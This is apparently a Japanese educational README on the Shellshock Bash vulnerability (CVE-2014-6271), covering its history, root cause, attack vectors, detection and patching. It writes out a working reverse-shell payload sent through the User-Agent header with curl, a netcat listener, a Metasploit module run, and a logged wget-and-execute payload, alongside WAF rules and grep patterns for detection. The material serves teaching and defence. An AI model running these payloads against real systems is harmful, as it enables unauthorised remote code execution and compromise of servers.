
Shellshock (CVE-2014-6271) 脆弱性に関する教育用リポジトリ。技術的分析、攻撃ベクトル、概念実証エクスプロイト、Bash環境変数インジェクションの軽減手順を含む。
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Bash環境変数インジェクションによるリモートコード実行
"Bashに何十年も隠れていた欠陥が、24時間足らずでインターネットの基盤を揺るがした。"
Shellshock(別名 Bashdoor)は、GNU Bash インタプリタにおける一連の重大な脆弱性であり、リモートの攻撃者が対象システム上で任意のコマンドを実行することを可能にします。
根本的なバグ:Bashは環境変数の解析を、関数定義の終了時に停止しなかった。() { :; }; の後に連結されたコードは自動的に実行されました。
環境変数 → 関数定義 → [ここで余分なコードを実行] ← バグ
Webサーバ(CGI/Apache)、SSHサービス、DHCPクライアントは、ヘッダやパラメータをBashの環境変数に変換するため、攻撃対象範囲は計り知れませんでした。
2014年9月12日 ──── Stéphane Chazelas がバグを発見し、BashメンテナのChet Rameyに報告。
バグはBashに20年以上存在していた。
2014年9月24日 ──── 公開開示+パッチ公開(CVE-2014-6271)
数時間後:ボットネットがインターネットを大規模にスキャン。
2014年9月25~30日 ── 関連脆弱性が発見される:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
2014年10月 ──────── 数百万件の攻撃が記録。Heartbleedと同等の深刻さと評価。
Bashが環境変数から関数をインポートする際、関数の閉じ括弧 } まで読み取ります。脆弱なバージョンでは、そこで停止せず後続のコードを引き続き処理していました。
# 悪意ある環境変数:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# 脆弱なBashが初期化時に行う処理:
# 1. 関数定義を読み取る → OK
# 2. }; を見つける → 停止すべき
# 3. 続行 → /bin/cat /etc/passwd を実行 ← バグ
攻撃者 Apache CGIサーバ Bash (脆弱)
│ │ │
│ HTTPリクエスト │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ ヘッダを環境変数に変換 │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ cmdを実行
│ │ │ www-data権限で
│◀──────────────────────────────│◀───────────────────────────────│
│ レスポンス + cmdの出力 │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
脆弱なシステムの結果:
VULNERABLE
this is a test
パッチ適用済みシステムの結果:
this is a test
(または構文エラー。"VULNERABLE" は絶対に表示されない)
.cgi スクリプトを使用するWebサーバは、HTTPヘッダをBashの環境変数に変換します。
影響を受けるヘッダ: User-Agent, Referer, Cookie, X-Forwarded-For, カスタムヘッダ
# サーバにForceCommandが設定されている場合、有効な鍵を持つ攻撃者はそれを迂回できる
ssh user@target '() { :;}; /bin/bash'
悪意あるDHCPサーバが、DHCP応答を処理するBashを使用するクライアントに環境変数を注入する可能性があります。
# 環境変数を継承し、Bashを実行するプロセス
env VAR='() { :;}; 悪意のあるコマンド' bash -c "正規のスクリプト"
nc -lvnp 4444
# User-Agentに注入するペイロード
() { :;}; /bin/bash -i >& /dev/tcp/攻撃者IP/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://脆弱なサイト.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <ターゲット>
set TARGETURI /cgi-bin/test.cgi
set LHOST <自身のIP>
run
# access.logで特徴的なパターンを検索
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# 悪意あるログの例:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# www-data/apacheの子プロセスで存在すべきでないもの
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- /tmp, /var/tmp, /dev/shm に新しい実行可能ファイル
- Webサーバから未知のIPへの外部接続
- /etc/crontab または /etc/passwd の改変
- 端末なしでwww-dataとして動作するbashプロセス
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# パッチ済みバージョンの確認("patches" が表示されること)
bash --version
# GNU bash, version 4.3.30(1)-release → 脆弱
# GNU bash, version 4.3.33(1)-release → パッチ済み(ディストリビューションにより異なる)
# "this is a test" のみが出力されること。"VULNERABLE" は決して表示されない
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. 不要なCGIを無効化
a2dismod cgi
# 2. WAFルールでパターンをブロック
# ModSecurityの場合:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. 継続的なログ監視
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
このリポジトリは、教育目的、サイバーセキュリティ研究、および許可されたセキュリティ監査のためだけのものです。ここに記載された情報はすべて公開情報です。明示的な許可なくシステムに対してテストを行うことは、ほとんどの法域で違法です。著者は、この情報の不適切な使用について一切の責任を負いません。
発見者: Stéphane Chazelas · 公開日: 2014年9月24日
CVSSスコア: 10.0 (Critical) → その後CVSSv3で9.8に調整
| 製品 | 影響を受けるバージョン | 状態 |
|---|
| GNU Bash | 1.0.3 – 4.3 | パッチ済み |
| Linux (Debian/Ubuntu/CentOS/RHEL) | 2014年9月以前のバージョン | パッチ済み |
| Apple macOS / OS X | 10.10 以前 | パッチ済み(Security Update 2014-005) |
| Bashを組み込んだIoTデバイス | 多数 | ベンダーにより異なる |
| Apache上のCGIを使用するWebサーバ | 脆弱なBashを搭載した全バージョン | パッチ済み |